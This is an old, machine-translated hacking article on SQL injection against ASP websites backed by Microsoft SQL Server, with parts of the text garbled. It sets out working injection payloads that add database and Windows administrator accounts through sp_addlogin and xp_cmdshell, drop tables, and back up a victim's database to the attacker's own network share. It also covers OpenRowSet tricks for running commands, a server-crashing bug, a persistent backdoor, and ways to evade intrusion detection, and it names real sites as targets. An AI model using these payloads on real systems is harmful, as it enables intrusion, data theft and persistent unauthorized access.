SQL database attack detailed

xiaoxiao2021-03-06  118

For many news, BBS and e-commerce websites use ASP SQL design, and many programmers who write ASP (there are many new graduation), so ASP SQL's attack success rate is also relatively high. This type of attack method and NT version and SQL version have no big relationship, and there is no corresponding patch because the vulnerability is caused by the programmer, and most of the books of the ASP programming, the source code example has this vulnerability In fact, only some legal ASP requests for SQL, leave after the suffering! This attack method originated from the vulnerability of 'or'1' = '1 (we call it as a vulnerability), the principle of this vulnerability I think everyone should know, then, then the same; execSp_addlogin HAX (Add a HAX user in the database), but this method is limited, first ASP uses the SQL Server account is an administrator, followed by the submission variable in the entire SQL statement, because some programmers use Select * from FROM News where id = ... and Topic = ... and ..... This method requests the database, then if you still use the above example, you will be news.asp? id = 2; exec sp_addlogin Hax becomes Select * from News where id = 2; exec sp_addlogin hax and topic = ... and ... The entire SQL statement has an AND and judgment existence after executing sp_addlogin stored procedures, syntax errors, your sp_addlogin naturally does not run normally, so try Try Now this method: news.asp? Id = 2; exec sp_addlogin Hax; - Back - Symbol The judgment statement after sp_addlogin turns a comment, so there is no syntax error, sp_addlogin is executed normally! So let's use the news.asp? Id = 2; exec master.dbo.sp_addlogin hax; - news.asp? Id = 2; exec master.dbo.sp_password null, Hax, Hax; - News.asp ? id = 2; exec master.dbo.sp_addsrvrolemember sysadmin Hax; - news.asp? id = 2; exec master.dbo.xp_cmdshell 'net user Hax / Workstations: * / Times: all / passwordchg: Yes / PasswordReq: YES / ACTIVE: YES / Add '; - news.asp? id = 2; exec master.dbo.xp_cmdshell' net localgroup administrators Hax / add '; - this left HAX in his database and system The administrator account is, of course, the prerequisite is the ASP manager account, so don't try this vulnerability. We will discuss later, if the other party's ASP does not use the SQL administrator account, how we invaded, of course, will also involve the invasion of the 1433 port. Of course, everyone can try to add a 'symbol after ID = 2, mainly watching each other How to write ASP. Let's talk about how we do when the SQL account used by the ASP program is not administrator.

You are as the homepage of Heaven, there is news content, as follows: http://www.talent.com.cn/news/news-2.asp?newid=117 you can try to see http://www.talentitit.com .cn / news / news-2.asp? newid = 117; select 123; - Oh, report syntax error, SELECT 123 error, obvious, Tianle new ASP ends with the 'number after the NewID variable, then try to see http : //www.talentitit.com.cn/news/news-2.asp? newid = 117 '; delete news; - haha, I think as long as the name is guess, the news base is deleted. Usually the SQL account for ASP is not an administrator or an Owner of a database, at least for this library has high management privileges. But we don't know how the library is? Take a look at the db_name () function. Open your query analyzer to see print db_name (), huh, huh, the current database name is coming out. Push as the subkey, as follows: declare @a sysname; set @ a = db_name (); backup database @a to disk = 'your ip Your shared directory Bak.dat', name = 'test'; - Oh, he The current database is backed up to your hard drive, you will understand it in your heart. Similarly, this method can find the other's SQL IP, first install a firewall, open ICMP and 139TCP and 445TCP warning tips, then try to see news.Aasp? Id = 2; exec master.dbo.xp_cmdshell 'ping your IP, If the firewall prompts someone ping you, then it can be sure the other ASP is SQL administrator privilege, and it also determines the exact location of the other SQL Server, because many of the big websites consider performance, WEB services and The database is separated, and when the other party does not see the source code, I think there is only this method to locate the position of the other SQL Server. So, if the other ASP does not have SQL administrator privileges, we can't call XP_cmdshell, what should I do? Don't worry, try this news.asp? Id = 2; declare @a; set @ a = db_name (); backup database @a to disk = 'your IP Your shared directory Bak.dat', Name = 'TEST '; - huh, your firewall should make a warning, some people connect your 445 or 139 (Win9 port, so that the other's SQL IP can also be exposed. So if the other party even the Owner of the other database is not What should we do? Next time I will tell you a better way. In fact, Backuo Database to your hard drive is still a bit exaggerated. If the other database is very large, you are dial-up, huh, huh, huh, advise you don't try, It is difficult to transfer success. We will talk about how to deceive IDS to perform ASP SQL invasion.

There are some good IDs that have already begun to monitor the keywords of xp_cmdshell, ok, comrades will meet next time! All or more URLs I hope that you will submit through VBScript because the browser's address bar will block some special characters so that your command cannot be fully transmitted. Just some simple XP_cmdshell calls limit is large, in fact, there are many places worth in-depth, such as www.guosen.com.cn. There is this problem with the national agency certificate, and they use the three-story structure of the MS to use the XP_cmdshell approach to the previous XP_cmdshell, and the string will be filtered, but I tried, the use of SQL's heterogeneous requests can still be on the other. Machine Open the account of Telnet service and administrators group! Since the opponent's firewall is very cheap checkpoint datagram, only open the 80-port, therefore, if you want to get his database structure, it is still possible to do it: p. By the way, everyone will pay attention to SQLOLOLEDB, DB_NAME, OPENROWSET, OPENDASOSOURCE these system functions When ASP's SQLServer account is just a normal user, they will be useful! SQL Server New Vulnerability and Some Breakfasts I have to talk about some SQL Server new bugs, although I have been working hard, of course, I have a little lucky component, I can find it, I don't dare to enjoy alone, take it out, please Identification, of course, it is likely to have some masters already know, after all, I have been in contact with SQL Server for less than 1 year: P1. About OpenRowSet and OpenDataSource may have already a skill, which is to send local commands using OpenRowSet usually our usage is (including MSDN's list) as follows Select * from OpenrowSet ('SQLOLDB', 'MyServer'; 'sa'; ';' , 'select * from table') visible (even from the literal meaning) OpenRowset just as a fast remote database access, it must be followed in Select, that is, what we need to return a recordset, then we can use it to call XP_cmdshell? ? The answer is yes! Select * from openrowset ('sqloledb', 'server'; 'sa'; '', 'set fmtonly off exec master.dbo.xp_cmdshell' 'DIR C: /' ') must be added to SET FMTONLY OFF to block the default Only return to the settings of the column information, so the output collection returned by XP_cmdshell will be submitted to the front Select display. If the default setting is used, the empty set will return the select error, and the command will not be executed.

Then if we want to call sp_addlogin, he will not return any collection like XP_cmdshell, we can't rely on FMTONLY, you can do the SELECT * from OpenRowSet ('SQLOLEDB', 'Server'; 'SA', '', 'select' 'OK!' 'exec master.dbo.sp_addlogin hectic'), so that the command will return to the collection of select 'ok!', your machine chamber shows OK!, the other party's database will also add a hectic The account, that is, we use Select 'OK!' To deceive the local SELECT request, which is the command to be executed normally, the cleaning sp_addsrvroleMember and OpenDataSource can also do this! As for the true use of this method, everyone thinks: P 2. Regarding MSDASQL twice, I don't know if you have tried to use MSDasql to connect the remote database. Of course, this API must be administrator of SQLServer to call, so select * from openrowset ('msdasql', 'driver =; server = Server; address = server, 1433; uid = sa; pwd =; database = master; network = dbmssocn ',' select * from table1 select * windtable2 ') When the number of fields of Table1 and Table2 is not the same, you will find each other's SQL Server crashed, even the local connection failed, and the system resource occupied everything, after killing the SQL Server process with PSkill, if the machine is not restarted, SQL Server does not start properly, or often illegal operation, I just happen to find this bug. For specific reasons, I haven't touched it yet, and it is very strange that this phenomenon only appears on MSDasql, and SQLOLDB has no such problem. It seems that the problem is not matched to the number of collections and the number of returns. Because it is MSDasql itself Question, specific reasons, everyone slowly study: P 3. The terrible back door has seen someone on the Internet. Some people say that after SQL Server can do it by adding Triger, Jobs, or rewriting sp_addlogin and sp_addsrvroleMember, these methods are of course feasible, but it is easy to be discovered. I don't know if you have thought about the local connection map of SQLOLOLDB.

Oh, if you perform the following command * from openrowset ('sqloledb', 'trusted_connection = yes; data source = hectic', 'set fmtonly off exec master..xp_cmdshell' Dir c: / '' ') This map is established on the other's SQL Server, as long as SQLServer does not restart, this map will always exist, at least I still don't know how to find the connection mapped by others. Ok, after the above command runs, you will find that even if SQL Server doesn't have any permissions, you can run the same as you can pass! And the permissions are Localsystem! (Default installation) huh! This method can be used to leave a back door with SQL Server that has been invaded by administrator privileges. The above method passes on SQL Server2000 SQLServer 200SP1! * There is another guess. I don't know if you haven't pay more attention to the two DSNs included with Windows. One is the LocalServer one is MSQi. These two are the local administrator account connection SQLServer, if the other party's SQL Server is By starting with custom Power User, then the permissions of SA are the same as Power User, it is difficult to make a big, but we pass select * from openrowset ('msdasql', 'dsn = locaserver; trusted_connection = yes', 'set fmtonly off eXec master..xp_cmdshell' 'Dir C: /' ') You can use localServer's administrator account to connect to local SQLServer and then perform local commands with this account permission. This is, I think it should be able to break through. The SA is Power User permission. The current problem is that SQLOLEDB cannot call the DSN connection, and the MSDasql non-administrator does not let the call, so I am looking for guest calls MSDasql method If someone knows how this bug broke through, or there is a new idea, we can discuss it together, this Distribution If you can successfully be utilized by Guest, it will be a very serious security vulnerability. Because any SQL statement mentioned earlier can be submitted to the other party's ASP to help us execute: p) Use T-SQL to scam IDS or attack IDS now IDS has become more and smarter. Ids added. XP_cmdshell sp_addlogin monitors, but after all, artificial intelligence has not appeared today, this surveillance always has a feeling of deceiving.

转载请注明原文地址:https://www.9cbs.com/read-125702.html

New Post(0)